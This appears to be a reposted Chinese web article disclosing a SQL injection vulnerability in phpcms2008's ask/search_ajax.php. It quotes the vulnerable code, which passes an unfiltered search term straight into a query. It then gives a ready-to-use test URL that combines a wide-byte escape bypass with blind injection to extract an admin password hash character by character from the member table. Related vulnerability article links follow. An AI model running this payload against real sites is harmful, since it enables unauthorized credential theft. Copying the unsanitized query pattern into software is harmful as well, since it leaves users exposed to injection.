phpcms2008 注入漏洞

成功的道路也许就是这样,需要经历太多的挫折与磨难,而其中的磨难与艰辛,恐怕永远只有经历过的人自己才知道。
这个是最新有人发现的

该漏洞文件:ask/search_ajax.php

漏洞说明:
/ask/search_ajax.php
Code:

if($q)
{
$where = " title LIKE '%$q%' AND status = 5";//没做过滤直接感染了$where
}
else
{
exit('null');
}
$infos = $ask->listinfo($where, 'askid DESC', '', 10);
/ask/include/answer.class.php
Code:

function listinfo($where = '', $order = '', $page = 1, $pagesize = 50)
{
if($where) $where = " WHERE $where";
if($order) $order = " ORDER BY $order";
$page = max(intval($page), 1);
$offset = $pagesize*($page-1);
$limit = " LIMIT $offset, $pagesize";
$r = $this->db->get_one("SELECT count(*) as number FROM $this->table_posts $where");
$number = $r['number'];
$this->pages = pages($number, $page, $pagesize);
$array = array();
$i = 1;
$result = $this->db->query("SELECT * FROM $this->table_posts $where $order $limit");
while($r = $this->db->fetch_array($result))
{
$r['orderid'] = $i;
$array[] = $r;
$i++;
}
$this->number = $this->db->num_rows($result);
$this->db->free_result($result);
return $array;
}
测试方法:
/ask/search_ajax.php?q=s%D5'/**/or/**/(select ascii(substring(password,1,1))/**/from/**/phpcms_member/**/where/**/username=0x706870636D73)>52%23

以上就是phpcms2008 注入漏洞。做不好事情不是事情的原因而是人的问题!更多关于phpcms2008 注入漏洞请关注haodaima.com其它相关文章!

您可能有感兴趣的文章
Kesion cms注入漏洞分析及其修复方案

多多淘宝客V7.4绕过防注入及一个注入漏洞的分析

恒浪IMS整合系统V4.1 多文件存在SQL注入漏洞

2019最新RDP远程桌面漏洞官方补丁(针对win2003、win2008)

宝塔面板 phpmyadmin 未授权访问漏洞 BUG ip:888/pma的问题分析